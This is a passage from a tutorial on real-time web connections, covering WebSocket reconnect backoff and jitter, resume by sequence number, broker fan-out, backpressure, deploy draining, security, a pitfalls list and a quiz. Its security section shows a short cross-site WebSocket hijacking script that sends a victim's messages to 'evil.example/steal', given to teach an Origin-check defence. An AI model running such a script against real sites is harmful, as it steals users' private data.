}

ws.close(4000, …) uses a code from the 4000–4999 range, which is free for applications. Closing a socket whose network path is dead can take a long time, because the browser waits for a goodbye that will never come. So the watchdog doesn't wait for the close event: it detaches the old socket's handlers (ws.onmessage = ws.onclose = null, so a late event can't trigger a second reconnect) and starts a new connection right away. reconnectSoon() stands for the backoff-and-jitter logic from §08.

How often? Shorter intervals detect dead peers faster and survive stricter proxies, but every ping wakes up phone radios and costs a little CPU per connection. 20–30 seconds is the usual compromise for chat. Note that the browser watchdog's limit (45 s) is longer than the server's send interval (30 s), so one late heartbeat doesn't trigger a reconnect.

Practitioner§08

Reconnecting without a stampede or a gap

In one sentenceEvery long-lived connection will drop. Reconnect after a random, growing delay so clients don't stampede, and resume from the last message you saw so nothing goes missing.

Connections drop all the time: phones switch networks, laptops sleep, proxies time out, and you deploy a new version of your server several times a day. Each drop raises two questions: when do I reconnect, and what did I miss?

When: the reconnect storm

Imagine 50,000 clients connected to one server, and you restart it. All 50,000 connections drop in the same instant. If each client reconnects right away — or after exactly 1 second — they all hit the new server in the same instant too. Each reconnect is expensive for the server: a TCP and TLS Handshake, an auth check, maybe loading the user's state from the database. The server falls over, the connections drop again, and everyone retries together again. This is the Thundering herd.

The fix has two parts:

  1. Exponential backoff: wait longer after each failure — 1 s, 2 s, 4 s, 8 s… up to a cap (say 30 s). A struggling server gets breathing room.
  2. Jitter: make each wait random. Pick a delay anywhere between 0 and the current ceiling. Clients that failed together then retry at different moments.

Backoff alone isn't enough, because clients that failed together also back off together: they all wait exactly 2 s, then exactly 4 s, and arrive in the same synchronized waves. Try all four strategies:

Reconnect storm
500 clients, one server that can complete ~250 handshakes per second. Toy model.
clients500/500 connected
connectedabout to trywaiting
connection attempts per 100 msdashed = capacity
succeededfailedx axis: time, 20 s
elapsed
0.0 s
all back after
—
failed handshakes
0
peak attempts
0 / 100 ms
capacity 25
All 500 clients are connected. Pick a strategy, then press restart the server: every connection drops at the same instant.

The red bars are failed handshakes — wasted work that, in this model, also slows down the server's useful work. With jitter, the attempts per tick stay close to what the server can actually handle, so it gets everyone back quickly with very little waste. (This “random between 0 and the ceiling” style is often called full jitter.)

reconnect with backoff + jitter
const BASE_MS = 1000, CAP_MS = 30_000;
let attempt = 0;
let lastSeq = 0;           // the last message number we've shown (see "What did I miss?")
let stopped = false;       // true once the user leaves the chat on purpose
let current = null;        // the socket we're using right now

function connect() {
  const ws = new WebSocket(`wss://chat.example.com/chat?since=${lastSeq}`);
  current = ws;
  let openedAt = 0;

  ws.onopen = () => { openedAt = Date.now(); };

  ws.onmessage = (e) => {
    const msg = JSON.parse(e.data);
    if (msg.type === "ping") return;                // heartbeat (§07): no seq, nothing to show
    if (msg.type === "reset") return reloadState(); // history too short: reload over HTTP
    if (msg.seq <= lastSeq) return;            // a duplicate we've already shown: skip
    if (msg.seq > lastSeq + 1) {               // a gap: we missed something
      ws.close(4001, "gap");                   // reconnect, which resumes from lastSeq
      return;
    }
    lastSeq = msg.seq;
    show(msg);
  };

  ws.onclose = (e) => {
    if (stopped || e.code === 4401) return;    // we left on purpose / not logged in: don't retry
    if (openedAt && Date.now() - openedAt > 10_000) attempt = 0; // it was healthy: start over
    const ceiling = Math.min(CAP_MS, BASE_MS * 2 ** attempt);
    const delay = Math.random() * ceiling;     // full jitter: anywhere in [0, ceiling) ←
    attempt++;
    setTimeout(connect, delay);
  };
}

function leaveChat() {     // e.g. the user closes the chat panel
  stopped = true;
  current?.close(1000, "bye");
}

connect();

Three details in that code that matter in production:

  • Don't retry what can't succeed — but don't trust the code alone. If the server closed with “not logged in” (here an app-defined 4401), retrying every few seconds forever just hammers your auth service; send the user to the login page instead. But don't treat code 1000 as “stop”: a server may close normally too (an idle clean-up, a deploy), and the client should come back. The stopped flag records whether we chose to leave.
  • Reset the backoff only after a healthy connection. If a server accepts connections and then crashes a second later, resetting attempt on every open would keep clients retrying at the shortest delay. Both versions reset only after 10 s of being connected.
  • Jitter the server side too. When a server shuts down on purpose, it shouldn't close all its connections at once either (§09).

What: resuming without gaps or duplicates

While a client is disconnected, the room keeps talking. When it comes back, it needs exactly the messages it missed — no gaps, no repeats. The tool is a Sequence number: the server stamps every message in a room with a number that goes up by one, and the client remembers the last one it showed.

Resume, duplicates and gaps
One client, one room, one sequence number. Step through a drop and a reconnect.
Code
1ws.onmessage = (e) => {
2 const msg = JSON.parse(e.data);
3 if (msg.type === "ping") return;
4 if (msg.type === "reset") return reloadState();
5 if (msg.seq <= lastSeq) return; // duplicate
6 if (msg.seq > lastSeq + 1) { // gap
7 ws.close(4001, "gap"); // → reconnect
8 return;
9 }
10 lastSeq = msg.seq;
11 show(msg);
12};
server: room history
#40
#41
on the wire
#41 “see you at 6”
client
lastSeq = 41
shows #41
Normal life: every chat message carries a sequence number, handed out by the server per room. The client shows #41 and remembers lastSeq = 41.
1 / 9

On the server, that means:

  • Keep recent history per room, for example the last 1,000 messages or the last 5 minutes, in memory, in Redis, or in your database.
  • On connect, read since and send everything after it before any live messages. Just like the Go SSE hub in §03, take the history and subscribe under one lock, or a message can slip in between the two.
  • If since is too old — older than your history — don't pretend. Send a {"type":"reset"} message, and let the client reload the full state over normal HTTP.

This is exactly what SSE's id: and Last-Event-ID give you (§03), only built by hand. On the client, the sequence number does three jobs: it skips duplicates (seq <= lastSeq), detects gaps (seq > lastSeq + 1) and tells the server where to resume. Messages without a seq — heartbeats, reset — must be filtered out before those checks, as the stepper showed.

The other direction: what the client sent while offline

If the user hits “send” while the connection is down, ws.send() on a closed socket silently throws the message away. (While the socket is still connecting, send() throws an InvalidStateError instead.) Keep unsent messages in a local outbox and send them after reconnecting.

But what if the connection dropped right after a send — did the server get it or not? The client can't know, so it resends, and the server might store the message twice. Give each outgoing message a client-generated id (crypto.randomUUID()) and have the server ignore ids it has already seen. That's the same Idempotency key idea used for safe retries of payments.

Staff-level§09

Scaling: many servers, slow clients, deploys

In one sentenceA WebSocket server is stateful: it holds live connections in memory. Scaling it means solving four problems a normal web server never has — reaching users on other servers, clients that can't keep up, fitting many connections on one machine, and restarting without dropping everyone at once.

An ordinary HTTP API is easy to scale: put a Load balancer in front, add servers, and any server can answer any request. Long-lived connections break that simplicity, because each user is attached to one specific server for as long as the connection lasts.

Problem 1: the message is on the wrong server

The chat server from §06 broadcasts by looping over its own connections. That's fine with one server. Run three, and the load balancer spreads users across them:

One message, three servers
Six users, spread across three servers by the load balancer. Alice (on server A) sends “hi”.
broker (Redis / NATS)server Aserver Bserver CAliceBobChenDanaEveFemi
Each server holds its own connections in memory. Press the button to see who receives Alice's message.

The standard fix is a Publish/subscribe layer between the servers, usually a Message bus / broker such as Redis or NATS. Every server subscribes to the channels for the rooms it has users in. When a message arrives on any server, that server publishes it to the broker instead of looping over its local sockets. The broker hands it to every subscribed server, and each one does the Fan-out to its own sockets. It's the Observer pattern, stretched across machines.

fan-out through a broker
import { createClient } from "redis"; // npm install redis

const pub = createClient({ url: process.env.REDIS_URL });
const sub = pub.duplicate();          // a subscribed connection can't run other commands
await Promise.all([pub.connect(), sub.connect()]);

// Every server subscribes, and relays whatever arrives to ITS OWN sockets.
await sub.subscribe("room:general", (message) => {
  for (const client of wss.clients) {
    if (client.readyState === WebSocket.OPEN) client.send(message);
  }
});

wss.on("connection", (ws) => {
  ws.on("error", console.error);
  ws.on("message", (data) => {
    pub.publish("room:general", data.toString()) // ← instead of looping over wss.clients
      .catch(console.error);
  });
});

What about sticky sessions?

Sticky sessions make the load balancer send the same user to the same server every time. They don't solve fan-out: the people in a chat room are still spread across servers. A WebSocket is already “sticky” for its whole life, since it's one connection.

Where you do need stickiness is with long polling and with libraries that start on long polling (like Socket.IO). There, one logical session is a series of separate HTTP requests, and if the server keeps session state in memory, every request must come back to it. If you can, keep that state in a shared store instead, so that any server can serve any request. The Load balancing topic covers sticky sessions in depth, and Long-lived connections explains why connection-holding servers stay unevenly loaded after a scale-up.

Problem 2: the client that can't keep up

Some clients read slower than you send: a phone on bad Wi-Fi, a browser tab running heavy JavaScript. Every message you send them waits in a buffer on your server — in Node, in the ws library's queue (client.bufferedAmount); in Go, in the outbox channel from §06. The question is what to do when that buffer grows.

A slow consumer
The server sends 10 messages per second to everyone. One client reads fast; one is a phone on bad Wi-Fi.
laptop on fibrereads 25/s
queued: 0 (~0 kB)dropped: 0
phone on bad Wi-Fireads 3/s
queued: 0 (~0 kB)dropped: 0
t = 0.0 s
The phone's queue grows by ~7 messages every second, forever. One phone: 0 kB. Ten thousand phones like it: ~0 MB of server memory holding messages nobody is reading yet.

This is Backpressure, and the Worker pools topic covers the general idea. The rule is the same: every queue needs a limit, and every limit needs a policy. For real-time connections, the usual policies are:

  • Disconnect clients that fall too far behind, and let them catch up through the resume logic (§08). This is the right choice for chat: no silent loss, bounded memory. The Go hub in §06 and the Go SSE hub in §03 both do this when a client's buffer is full.
  • Drop old messages when only the latest value matters: stock prices, positions in a game, “Alice is typing…”. Even better, merge them — send only the latest price per symbol.
  • Never buffer without a limit. One slow client is harmless; ten thousand of them will crash your server, usually during your busiest hour.

In Node, check the buffer before sending:

const MAX_BUFFERED = 1_000_000; // 1 MB waiting for one client is too much

function sendTo(client, data) {
  if (client.bufferedAmount > MAX_BUFFERED) {
    client.close(1008, "too slow"); // policy violation; it will reconnect and resync
    return;
  }
  client.send(data);
}

The same property exists in the browser, for the opposite direction. ws.send() there never blocks and gives no “slow down” signal; it just adds to bufferedAmount. A client uploading a big file over a WebSocket should wait while ws.bufferedAmount is high. Otherwise it queues the file in memory, and if the browser's buffer runs out, the browser closes the connection.

Problem 3: how many connections fit on one server?

Idle connections use almost no CPU, but they do use memory and file descriptors.

  • Memory. Each connection holds kernel Socket buffers, TLS state, the library's read and write buffers, and in Go two goroutines (each starting with a small stack). Depending on the library and settings, that's very roughly 20–100 KB per idle connection — measure your own. 100,000 connections × 50 KB ≈ 5 GB. Compression (permessage-deflate) and large outboxes push it up.
  • File descriptors. Every connection is one File descriptor in your process. Many Linux systems still default to a soft limit of 1,024 open files per process (ulimit -n). Past that, accepting fails with EMFILE: too many open files. Both runtimes raise their soft limit at startup (Go since 1.19, to just under the hard limit; Node, checked on 22, to the hard limit), so the number that really caps you is the hard limit: raise it in your service configuration (see File Descriptors).
  • The proxy pays too. A load balancer or reverse proxy holds two connections per client (one each side) and has the same limits. Check its connection limits before launch day.

Problem 4: deploying without a stampede

A normal deploy stops old servers and starts new ones. For an HTTP API, the old server finishes its in-flight requests in a second or two (see graceful shutdown). A long-lived connection never “finishes”, so you have to end it yourself — and not all at once, or you've built §08's reconnect storm yourself.

When it's time to stop, the platform sends your process the signal SIGTERM (“please shut down”), and kills it outright a while later if it's still running. Draining means, in that window: stop accepting new connections, then close the existing ones at random moments spread over a window (say 20–30 s), with code 1012 “service restart” or 1001 “going away”. Clients reconnect with their own jitter, the load balancer sends them to the new servers, and they resume from their last sequence number.

drain on shutdown
process.once("SIGTERM", () => { // the "please shut down" signal
  server.close(() => process.exit(0)); // stop accepting; exit once every connection is gone
  const WINDOW_MS = 25_000;
  for (const ws of wss.clients) {
    // close each socket at a random moment in the window ←
    setTimeout(() => ws.close(1012, "server restarting"), Math.random() * WINDOW_MS);
  }
});

Two orchestration details complete the picture. First, the load balancer must stop sending new connections to a draining server before you start closing old ones — mark it unhealthy first — in Kubernetes, a failing readiness probe or a short preStop hook sleep. Second, the platform's shutdown grace period must be longer than your drain window; Kubernetes gives 30 s by default before it kills the process.

Practitioner§10

Security: auth, Origin and abuse

In one sentenceThe upgrade request is your only chance to see HTTP headers — check who the user is and which site opened the socket there. After that, treat every message as untrusted input.

A WebSocket skips much of what protects a normal API. Your HTTP middleware usually doesn't run per message, there's no CORS check, and the connection may stay open for hours after the user logs out. Here's what to do instead.

Authenticating: three options

The browser WebSocket API can't add custom headers, so you can't send an Authorization: Bearer … header carrying a token such as a JWT, like you would with fetch. What's left:

OptionHowWatch out for
CookiesThe session Cookie rides along on the handshake automatically.Requires an Origin check (next section), or any website can use it.
Token in the URLnew WebSocket("wss://…/chat?token=eyJ…")URLs end up in server access logs, proxy logs and error trackers. A long-lived token there is a leaked token.
Short-lived ticketFetch a one-time Connection ticket with a normal authenticated call, then put that in the URL.The server must make it single-use and expire it within seconds.

The ticket flow looks like this:

browser
// 1. A normal API call — your usual auth (cookie or Authorization header) applies.
const res = await fetch("/api/ws-ticket", { method: "POST", headers: { Authorization: `Bearer ${token}` } });
const { ticket } = await res.json();     // e.g. "k3J9…", valid for 30 s, usable once

// 2. Open the socket with the ticket. If it leaks into a log, it's already spent.
const ws = new WebSocket(`wss://chat.example.com/chat?ticket=${encodeURIComponent(ticket)}`);

encodeURIComponent makes the ticket safe to put in a URL, escaping characters like + and /.

Whichever you choose, reject a bad login before upgrading, with a normal HTTP error. One surprise: the browser doesn't tell JavaScript the status code. A refused handshake shows up only as an error event followed by close with code 1006. If clients need to tell “not logged in” apart from “network trouble”, accept the connection and then close it with your own code, like 4401, which the client can read in e.code.

Cross-site WebSocket hijacking

Here's the attack. A user is logged in to chat.example.com, then visits evil.example. A script on the evil page runs:

const ws = new WebSocket("wss://chat.example.com/chat"); // the browser attaches chat.example.com's cookies!
ws.onmessage = (e) => fetch("https://evil.example/steal", { method: "POST", body: e.data });

Normal fetch calls across sites are restricted by the browser's same-origin rules and CORS. WebSockets aren't. Any page can open a WebSocket to any server, and if your server authenticates by cookie alone, the evil page now reads the victim's private messages and can send messages as them. This is Cross-site WebSocket hijacking.

The defence is the Origin header. The browser sets it on every handshake to the Origin of the page that opened the socket, and page scripts can't change it. Your server must check it against a list of your own sites:

auth + Origin check at the upgrade
const wss = new WebSocketServer({ noServer: true, maxPayload: 64 * 1024 }); // we handle upgrades
const ALLOWED_ORIGINS = new Set(["https://chat.example.com"]);

server.on("upgrade", async (req, socket, head) => {
  socket.on("error", console.error);
  const refuse = (status) => socket.end(`HTTP/1.1 ${status}\r\nConnection: close\r\n\r\n`);
  try {
    if (new URL(req.url, "http://localhost").pathname !== "/chat") return refuse("404 Not Found");
    if (!ALLOWED_ORIGINS.has(req.headers.origin)) return refuse("403 Forbidden"); // ← CSWSH defence
    const user = await userFromCookie(req.headers.cookie); // your session lookup
    if (!user) return refuse("401 Unauthorized");
    wss.handleUpgrade(req, socket, head, (ws) => {
      ws.user = user;            // identity comes from the handshake, never from messages
      wss.emit("connection", ws, req);
    });
  } catch (err) {
    console.error(err);
    refuse("500 Internal Server Error"); // never leave the socket hanging
  }
});

We tested both against forged requests. The Node server answers 403 to Origin: https://evil.example, 401 to a missing session, 404 to another path and 500 when the session lookup throws, and coder/websocket refuses it with request Origin "evil.example" is not authorized for Host "localhost:8090". Remember from §06 that Node's ws doesn't check Origin unless you do, while coder/websocket and gorilla/websocket check by default.

Long connections outlive logins

A REST API checks the session on every request, so logging out takes effect immediately. A WebSocket authenticated once at the handshake keeps working after the user logs out, has their access revoked or their token expires — possibly for days.

  • When a session ends, close its connections: keep a map from user id to connections, and close them with 4401 (or 1008) on logout or revocation.
  • Give connections a maximum lifetime tied to the token's expiry. Close them when it passes; the client reconnects with fresh credentials.
  • Authorize every message, not just the connection. “Alice is logged in” doesn't mean she may post to room 42. Check membership when she sends, using the identity attached at the handshake, never a userId field inside the message.

Abuse: size, rate, count

An open socket lets a client send as much as it likes, as fast as it likes:

  • Cap message size: maxPayload in ws, SetReadLimit in coder/websocket (§06). Without a cap, one client can make your server allocate hundreds of megabytes for a single message.
  • Rate-limit messages per connection, for example with a token bucket (Worker pools: rate limiting). On abuse, close with 1008.
  • Limit connections per user and per IP. Each one costs memory and a file descriptor (§09).
  • Validate and escape content. A chat message is user input. Parse it carefully, reject unknown types, and display it with textContent, never innerHTML, or one message can run script in everyone's browser (cross-site scripting).
  • Always wss://. Without TLS, anyone on the same café Wi-Fi can read and change the traffic, including cookies on the handshake.
Practitioner§11

Choosing the right tool

In one sentenceUse the simplest thing that meets your latency and direction needs: SSE for server → browser, WebSocket when both sides talk a lot, polling when updates are rare or nothing else gets through.

Developers often reach for WebSockets by default. But a WebSocket brings its own protocol to design, its own reconnect logic, and connections that bypass your HTTP tooling. If the browser mostly listens, SSE gives you most of the benefit for much less work.

The decision table

Short pollingLong pollingSSEWebSocket
Delay for newsup to one interval~one network trip~one network trip~one network trip
Directionclient asksclient asksserver → clientboth ways
Cost per messagea request, even when idlea full requesta few bytes2–6 bytes
Reconnect + resumebuilt in (each poll is new)your loopbuilt in (Last-Event-ID)all yours
Binary datayesyesno (text only)yes
Works through strict proxiesalwaysalwaysusuallyusually, with wss://
Uses your HTTP stack (auth middleware, logging, HTTP/2)yesyesyeshandshake only
Typical usesjob status every 30 s, rarely-changing datafallback transportnotifications, feeds, dashboards, AI token streams, logschat, multiplayer games, collaborative editing, trading UIs

Questions to ask, in order:

  1. How fresh must it be? If a 30-second delay is fine (a report finishing, a daily price), poll. It's stateless, cacheable, and nothing can go stale silently.
  2. Who talks? If the server pushes and the client occasionally sends (most dashboards, notifications, even a lot of chat), use SSE plus normal POST requests for the sends.
  3. Does the client send often, or need very low delay both ways? Cursor positions, game input, typing in a shared document: WebSocket.
  4. Is there a hostile network in the way? Keep long polling as a fallback, or use a library that does it for you.

Newer and neighbouring options

  • HTTP/2 and HTTP/3. SSE simply works over both, and benefits most: many streams share one connection, which removes the six-connection limit from §03. WebSockets can also run over HTTP/2 and HTTP/3 (RFC 8441 and RFC 9220), but support across browsers, proxies and servers is uneven, so most WebSockets today still use their own HTTP/1.1-style connection. See the HTTP topic.
  • WebTransport. A browser API built on HTTP/3 and QUIC that gives you several independent streams and unreliable datagrams (single messages that may be lost, never retried) on one connection. One lost packet doesn't hold up the other streams (no Head-of-line blocking), which matters for games, live video and voice. It's newer, and browser and server support is still uneven — check current support before betting on it.
  • Web Push. For notifications when your page isn't open, none of the above work — there's no page to hold a connection. The browser's Push API, delivered to a Service worker, is the tool for that.
  • Webhooks. Server to server, the simplest “push” is the other server calling an HTTP endpoint on yours when something happens. No long-lived connections at all.
  • gRPC streaming. Between your own backend services, gRPC has streams built in, with typed messages and deadlines — see gRPC.
Practitioner§12

Pitfalls gallery

#1

“It works on localhost” — then drops after a quiet minute

No heartbeat, so a proxy or load balancer with a 60-second Idle timeout cuts quiet connections, and clients see code 1006. The same missing heartbeat means your server keeps connections to phones that vanished. Fix: ping every 20–30 s from the server, and run a watchdog in the client that reconnects after ~45 s of silence (§07). Test through your real proxy.

#2

Treating readyState === OPEN as proof the line works

readyState only changes when the browser learns the connection closed. After a silent network failure it can say OPEN for minutes while nothing arrives. Only recent traffic proves a connection is alive: that's what the watchdog in §07 checks.

#3

Reconnecting on a fixed timer

setTimeout(connect, 1000) in onclose makes every client that dropped together reconnect together — after every deploy and every network blip. Fix: exponential backoff with jitter, a cap, and no retry at all for “you're not allowed” closes (§08).

✕ Don't
ws.onclose = () => setTimeout(connect, 1000);
✓ Do
ws.onclose = (e) => {
  if (e.code === 4401) return showLogin();      // retrying can't help
  const ceiling = Math.min(30_000, 1000 * 2 ** attempt++);
  setTimeout(connect, Math.random() * ceiling); // full jitter
};
#4

Reconnecting without resuming

The client reconnects and quietly shows only new messages. Anything sent while it was away is gone, and nobody notices until a user does. Fix: a per-room Sequence number, server-side history, and since=<lastSeq> (or SSE's Last-Event-ID) on every reconnect. If the history doesn't go back far enough, tell the client to reload instead (§08).

#5

Broadcasting to “all clients” — on one server

for (const c of wss.clients) means this process's clients. It passes every test with one server and silently loses messages when you scale to two. Fix: publish through a broker and let each server deliver to its own sockets (§09).

#6

One slow client eats the server's memory

send() in Node and in browsers never waits. It queues. A client that reads slower than you send makes that queue grow forever. Fix: a bounded outbox per connection, and a policy for when it's full — disconnect (then resume) for chat, drop or merge old values for live prices (§09).

#7

Two goroutines writing to one connection

With gorilla/websocket, two goroutines calling WriteMessage on the same connection at once is a Data race: frames get interleaved and the client sees garbage or a protocol error. In Node, the equivalent crash is a missing ws.on("error", …) listener: the first socket error kills the whole process. Fix: one write loop per connection fed by a channel (§06); always attach an error listener.

#8

Cookie auth without an Origin check

Any website can open a WebSocket to your server, and the browser attaches your users' cookies. Without an Origin check, that's Cross-site WebSocket hijacking. Node's ws doesn't check Origin for you. Fix: compare Origin against an allowlist before upgrading (§10).

#9

Long-lived tokens in the WebSocket URL

new WebSocket("wss://…?token=" + jwt) — with a long-lived JWT — writes the token into access logs, proxy logs and error reports. Fix: exchange it for a single-use Connection ticket that expires in seconds, or use cookies plus an Origin check (§10).

#10

A “live” stream that arrives in clumps

SSE events arrive late and several at a time because something buffers: a missing flush, nginx's proxy_buffering, or compression middleware. Fix: flush after every event (rc.Flush() in Go), send X-Accel-Buffering: no or turn proxy buffering off for the route, and exclude text/event-stream from compression (§03).

#11

The server's WriteTimeout cuts every stream

A Go http.Server with WriteTimeout: 10 * time.Second ends every response after 10 s — including your SSE streams and 25-second long polls. Clients reconnect over and over, every 10 s. Fix: http.NewResponseController(w).SetWriteDeadline(…) per streaming request: zero for “no deadline”, or a time just past your poll timeout (§02, §03).

#12

Seven tabs, and the seventh never loads

Over HTTP/1.1, each EventSource uses one of the browser's ~6 connections per host, shared by every tab. Fix: serve SSE over HTTP/2, or share one connection between tabs (for example through a SharedWorker or BroadcastChannel) (§03).

#13

Deploys that hang up on everyone at once

The old server exits and every connection drops in the same instant — a reconnect storm you schedule yourself. In Go, srv.Shutdown doesn't even see hijacked WebSocket connections, and it waits for SSE streams that never end. Fix: stop new connections first, then drain: close existing ones with code 1012 at random moments over 20–30 s (§09).

Practitioner§13

Check yourself

Predict the answer before you click. Q1 and Q7 are covered in §03, Q2 in §07, Q3 in §08, Q4 and Q6 in §09, and Q5 in §05.

QUESTION 1 / 7
Your SSE stream drops and the browser's EventSource reconnects. The last event it saw was “id: 42”. What does the reconnect request carry?
QUESTION 2 / 7
A chat room is silent for two minutes. Behind a proxy with a 60-second idle timeout and no heartbeats, what does the client see?
QUESTION 3 / 7
What happens when 50,000 clients run this after a server restart?
ws.onclose = () => {
  setTimeout(connect, 1000); // try again in 1 s
};
QUESTION 4 / 7
The network is slow. What does this loop do?
for (const chunk of hugeFile) {   // 1,000 chunks of 1 MB
  ws.send(chunk);
}
QUESTION 5 / 7
Which WebSocket frames must be masked?
QUESTION 6 / 7
Go: you call srv.Shutdown(ctx) during a deploy. What happens to open WebSocket connections?
// WebSocket handler uses websocket.Accept(w, r, nil)
err := srv.Shutdown(ctx)
QUESTION 7 / 7
Over HTTP/1.1, a user opens your dashboard (one EventSource each) in 8 tabs. Tabs 7 and 8 never load. Why?
Answered 0 / 7
Foundations§14

Cheat sheet

✉️
HTTP can't pushEvery connection starts at the browser. Real-time = keep a request or connection open so the server can answer later.
⏱
PollingShort: ask on a timer (delay up to one interval). Long: the server holds the request until news or ~25 s, answers 204 on timeout; the client re-asks at once.
📻
SSEOne never-ending text/event-stream response. id: + automatic reconnect + Last-Event-ID = resume for free. Server → client only, text only. Use HTTP/2.
📞
WebSocketGET + Upgrade: websocket → 101, then frames both ways with 2–14 bytes of header. Browser frames are masked. No reconnect built in.
💓
HeartbeatsPing every 20–30 s (under the shortest idle timeout). No pong → close. Client watchdog: no message for ~45 s → reconnect.
🎲
Reconnectrandom(0, min(cap, base × 2^attempt)). Reset only after a healthy connection. Don't retry auth failures.
🔢
ResumePer-room sequence numbers + history. Reconnect with since=N; skip seq ≤ N, detect gaps, reload if history is too short.
📡
Scale outEach server knows only its own sockets: publish through Redis/NATS, deliver locally. Plain pub/sub can lose messages — keep the seqs.
🐢
Slow consumersBound every per-connection buffer (bufferedAmount, outbox channel). Full → disconnect and resume, or drop/merge old values.
🔐
SecurityAuth and Origin check at the upgrade. Single-use tickets, not long-lived tokens, in URLs. Size limits, per-connection rate limits, wss://.
🚚
DeploysStop new connections, then close existing ones with 1012 spread over 20–30 s. Go's Shutdown ignores hijacked conns.
🧭
ChoosingBrowser mostly listens → SSE. Both sides chatty → WebSocket. Rare updates → poll. Hostile network → long-poll fallback.
Close codeMeaning
1000Normal — someone called close()
1001Going away (page left, server stopping)
1006Dropped with no close frame (never sent; reported locally)
1008Policy violation (auth, abuse, too slow)
1009Message too big
1011 / 1012Server error / service restart
4000–4999Yours to define (e.g. 4401 “log in again”)
I want to…GoJavaScript
Long-poll handlerselect on a “changed” channel, a 25 s timer and r.Context().Done()Client: while (true) { await fetch(…) } with AbortSignal.timeout
SSE serverrc := http.NewResponseController(w); write id:/data: lines; rc.Flush(); rc.SetWriteDeadline(time.Time{})res.writeHead(200, {"Content-Type": "text/event-stream"}); res.write(…)
SSE client—new EventSource(url); onmessage; reconnects by itself
WebSocket serverwebsocket.Accept(w, r, opts) (coder) · one reader + one writer goroutinenew WebSocketServer({ server, maxPayload }) (ws package)
WebSocket clientwebsocket.Dial(ctx, url, nil)new WebSocket(url) (browsers, Node 22+)
Heartbeatconn.Ping(ctx) on a ticker (needs a running read loop)ws.ping() + 'pong' → isAlive; terminate() the silent
Limit message sizeconn.SetReadLimit(n)maxPayload: n
Check Origindefault in coder/gorilla; OriginPatterns for extrasyour upgrade handler, before handleUpgrade
Drain on deploytrack conns, Close(StatusServiceRestart, …) at random timesserver.close(); ws.close(1012) after Math.random() * window
Finished reading?Mark it complete to track your progress on a roadmap. Saved in this browser only.
Up next in NetworkinggRPC & Protobuf
Read →